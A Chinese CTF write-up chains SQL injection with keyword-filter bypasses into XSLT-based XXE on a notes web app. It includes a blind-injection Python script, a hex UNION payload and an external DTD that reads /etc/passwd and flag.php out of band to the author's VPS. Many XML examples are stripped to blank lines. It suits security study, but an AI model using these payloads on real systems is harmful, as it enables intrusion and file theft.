您当前的位置: 首页 >  sql

合天网安实验室

暂无认证

  • 1浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

从sql注入到xslt再到xxe的一道ctf题目

合天网安实验室 发布时间:2018-03-30 17:28:13 ,浏览量:1

点击上方“合天智汇”,选择“置顶公众号”

有内涵的干货文章第一时间送达!

本文作者:一叶飘零

投稿活动:重金悬赏 | 合天原创投稿等你来!

1

前记

最近比较闲,看到一道web题目,学到了一些知识,于是有了这篇文章

2

题目描述

打开题目发现是一个笔记管理系统

然后发现有注册和登录,随手注册了一个账号

登入后发现几个功能

分别是:

  1. 新建笔记

  2. 生成xml文件

  3. 将生成的xml文件导出为html文件

于是开始随意尝试

第一个想法:

是不是flag在管理员的笔记里呢?我只要登入管理员账号即可?

于是开始尝试在登录和注册处进行sql注入

发现未果,后台对注入处理比较完善

会过滤了union,select,空格等多种必要符号

随即暂且放弃了这个想法。

第二个想法:

新建笔记可否写xml,进行xxe攻击呢,或者xss?

尝试了一下

容易发现转义

accordion-content">

尝试绕过也未果,这个想法也破灭。

于是开始分析题目流程

  1. 注册账号

  2. 登录账号

  3. 新建笔记

  4. 生成xml文件

  5. 导出为html

我们思考一下后面3个步骤的实现:

新建笔记:将我们的输入经过处理存入数据库

生成xml文件:根据我们的用户名查询我们数据库里的content,并根据content生成xml文件

导出为html:将xml文件转换为html的形式显示出来

那么问题来了,如何将xml文件转换为html的形式?

这里就涉及到了新的知识点:XSLT

3

知识前引

1

xxe的定义

XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进行处理时引发的安全问题。

详细的名词解释可以参照freebuf这篇文章:http://www.freebuf.com/articles/web/126788.html

2

xxe简单例子

发出请求

 

&file;

服务器返回etc/passwd的文件内容:

root:1:3.......  

最终造成任意文件读取的问题

3

xslt的定义

XSL(可扩展样式表语言)是一种用于转换XML文档的语言。XSLT代表XSL转换。XSL转换本身就是XML文档。

转换的结果可以是不同的XML文档或其他内容,如HTML文档,CSV文件或纯文本文件。

4

xslt的使用

国外的一篇文章里有这样的样例:

xml文件如下

  

    Lemon

    Yellow and sour

  

  

    Watermelon

    Round, green outside, red inside

  

如果要将这个xml文件转换为纯文本格式,可以使用如下xsl转换

  

    Fruits:

    

    

      

      - :

    

  

转换后结果

Fruits:

 

      - Lemon: Yellow and sour

      - Waterm

5

xslt的相关攻击

由于xslt的文档格式为xml,所以存在xml相关的攻击

比如常见的xml引入外部实体,可以读取文件的问题

这里就不详细介绍了,因为一会儿还要实战

4

思考攻击点

学习过xslt相关知识后,很容易看出这个题目的考点

但是新的问题来了

xslt的攻击是在xml文件转换为其他文档格式的时候触发的,那我们的xml文件从哪里来呢?

现在无非两个思路

1.新建笔记的时候插入xml文件

2.直接sql注入插入content,内容为xml文件

第一个思路显然没有办法,因为在新建笔记插入文件的时候会经过转义处理,再次转换的时候无法引入我们想要的攻击构造

而第二个思路却没有注入点,应该如何是好?

在苦思冥想之际,我发现了两个神奇的点:

如图,首先是xml文件名,我惊奇的发现竟然就是自己用户名的md5,

于是我尝试了一下admin的xml文件,即:

./xml/21232f297a57a5a743894a0e4a801fc3.xml

发现hint

1

学习记录

It's so easy to use xslt to parse xml.

2

flag

flag在./flag.php文件

可以更加肯定的证明,我们的猜想是正确的,的确是xslt攻击引入xml去读取./flag文件

然后我又发现了模板一和模板二的问题

这看似多此一举的选项操作,其实是预留下了sql注入的隐患。我们抓包看看模板的选择是怎样传递给后端的:

发现template是以post方式提交的,于是我在此尝试了一下注入,这里我选择hackbar,方便回显

当template为1时,发现正常回显

当template为1'时,发现无回显

于是我确定此处存在注入问题

随即fuzz了一下,发现会过滤空格和许多关键词

但是正是因为template被过滤空格

容易发生这样的问题

比如

union会被过滤

但是我输入

un和ion不会过滤

那么我们输入un ion

(注:中间带一个空格)

即可成功构造出union

最好因为空格被过滤的原因,un和ion成功合并在一起

于是我们可以利用这个方法突破关键词过滤。

而后又经过fuzz,发现/**/可以绕过空格过滤

于是我开始随手尝试

template=1/**/o rder/**/b y/**/1

(注:关键词中带有空格)

成功回显

template=1/**/o rder/**/b y/**/2

(注:关键词中带有空格)

无回显

(注:本来无论or还是order都是会被替换为空的,但这里就用到了之前提到的关键词+空格bypass的技巧or和order都会被过滤,但是o和rder就完全不会触发过滤了,所以此时只需要在o和rder中间加入一个空格,由于空格被过滤,我们自然可以得到order:)

说明只有一列数据)

但是当我尝试

template=0/**/uni on/**/sel ect/**/1/**/li mit/**/1

(注:关键词中带有空格)

发现依旧无回显

template=0/**/uni on/**/sel ect/**/0/**/li mit/**/1

(注:关键词中带有空格)

回显为模板不存在

这是为什么呢?

经过我的猜测,查询语句可能如下:

select content from users where template=1

我们union select可以填充content,但是必须符合xml语法,否则无法转换,所以无回显

所以整体攻击思路相当明显了

1.利用union select填充我们构造的恶意content

2.xslt对我们填充的恶意content进行转换

3.触发攻击,引入外部实体

4.读取flag

5

攻击构造

1

攻击步骤1

利用union select填充我们构造的恶意content

想要构造恶意xsl,我们首先得了解该题目规定的xsl,以防止语法错误。为此我写了脚本,查看admin的content,用来获得xsl的格式:

# -*- coding: utf-8 -*-

import requests

import string

import urllib

cookie = {

"PHPSESSID":"e51d34c56f1d02e0eace44a7988ae1ec"

}

url = "题目ip/report.php"

flag = "3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e"

true_flag = """"""

for i in range(1,1000):

    payload = flag

    for j in range(1,127):

        if chr(j) in '''_%''':

            continue

        if len(hex(ord(chr(j)))[2:]) == 1:

            lll = '0'+hex(ord(chr(j)))[2:]

        else:

            lll = hex(ord(chr(j)))[2:]

        # print lll

        data = {

            "template":urllib.unquote("0/**/o r/**/content/**/li ke/**/bin ary/**/0x%s25/**/li mit/**/1/**/off set/**/0"%(payload+lll))

        }

        r =requests.post(url=url,data=data,cookies=cookie)

        if '模板不存在' not in r.content:

            flag += lll

            true_flag += chr(int('0x'+lll,16))

            print true_flag

            print flag

            break

运行后即可成功得到admin的content内容:

  

    

      

      

        

           .

        

        

          

                

          

        

      

  

 

    

  

得到了正确的xsl格式,我开始构造我的xsl payload,

为了验证之前xxe和xslt转换带来问题的思路,我构造如下代码,尝试它是否会来请求我的vps

  

   Notes &ext_file;:

    

      

      

        

           .

        

        

          

                

          

        

      

  

 

    

  

其中解释一下关键点:

关键字’SYSTEM’会令XML解析器从URI中读取内容,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容。所以一旦这个题可以成功引入外部实体,那么他一定会来请求我们指定的ip和端口。

将上述代码转换为16进制,利用Union select填充发送并且在自己的23333端口监听,得到:

root@ubuntu-512mb-sfo2-01:~# nc -l -vv -p 23333

Listening on [0.0.0.0] (family 0, port 23333)

Connection from [题目ip] port 23333 [tcp/*] accepted (family 2, sport 56744)

GET / HTTP/1.0

Host: 我的ip:23333

Connection: close

发现请求成功!

2

xslt转换触发xxe攻击

我开始构造我的xxe攻击文件:

在你的vps上放上文件xxe.xml,内容如下:

"php://filter/read=convert.base64-encode/resource=/etc/passwd">

再在关键处插入

  %r;

  %all;

  %s;

]>

于是我根据这xsl文件格式插入标准的xxe攻击格式:

  %r;

  %all;

  %s;

]>

  

   Notes &ext_file;:

    

      

      

        

           .

        

        

          

                

          

        

      

  

 

    

  

并转换为16进制,然后进行union填充

template=0/**/uni on(注:关键词中有空格)/**/sel ect(注:关键词中有空格)/**/

0x3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d227574662d38223f3e0a3c21444f435459504520414e595b0a20203c21454e54495459202520722053595354454d2022687474703a2f2f3132372e302e302e312f7878652e786d6c223e0a202025723b0a202025616c6c3b0a202025733b0a5d3e0a3c78736c3a7374796c6573686565742076657273696f6e3d22312e302220786d6c6e733a78736c3d22687474703a2f2f7777772e77332e6f72672f313939392f58534c2f5472616e73666f726d223e0a20203c78736c3a74656d706c617465206d617463683d222f6e6f746573223e0a2020204e6f74657320266578745f66696c653b3a0a202020203c78736c3a666f722d656163682073656c6563743d226974656d223e0a2020202020203c73656374696f6e20646174612d616d2d7769646765743d226163636f7264696f6e2220636c6173733d22616d2d6163636f7264696f6e20616d2d6163636f7264696f6e2d676170706564223e0a2020202020203c646c20636c6173733d22616d2d6163636f7264696f6e2d6974656d20616d2d616374697665223e0a20202020202020203c647420636c6173733d22616d2d6163636f7264696f6e2d7469746c65223e0a20202020202020202020203c78736c3a76616c75652d6f662073656c6563743d226964222f3e2e203c78736c3a76616c75652d6f662073656c6563743d227469746c65222f3e0a20202020202020203c2f64743e0a20202020202020203c646420636c6173733d22616d2d6163636f7264696f6e2d626420616d2d636f6c6c6170736520616d2d696e223e0a202020202020202020203c64697620636c6173733d22616d2d6163636f7264696f6e2d636f6e74656e74223e0a202020202020202020202020202020203c78736c3a76616c75652d6f662073656c6563743d22636f6e74656e74222f3e0a202020202020202020203c2f6469763e0a20202020202020203c2f64643e0a2020202020203c2f646c3e0a20203c2f73656374696f6e3e0a0a202020203c2f78736c3a666f722d656163683e0a20203c2f78736c3a74656d706c6174653e0a3c2f78736c3a7374796c6573686565743e/**/li mit/**/1

然后在vps上收到结果

成功读取了/etc/passwd的内容

3

读取flag文件内容

此时只需要将你vps上的xxe.xml文件改为

"php://filter/read=convert.base64-encode/resource=./flag.php">

于是最终成功获得./flag的内容

 

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.0501s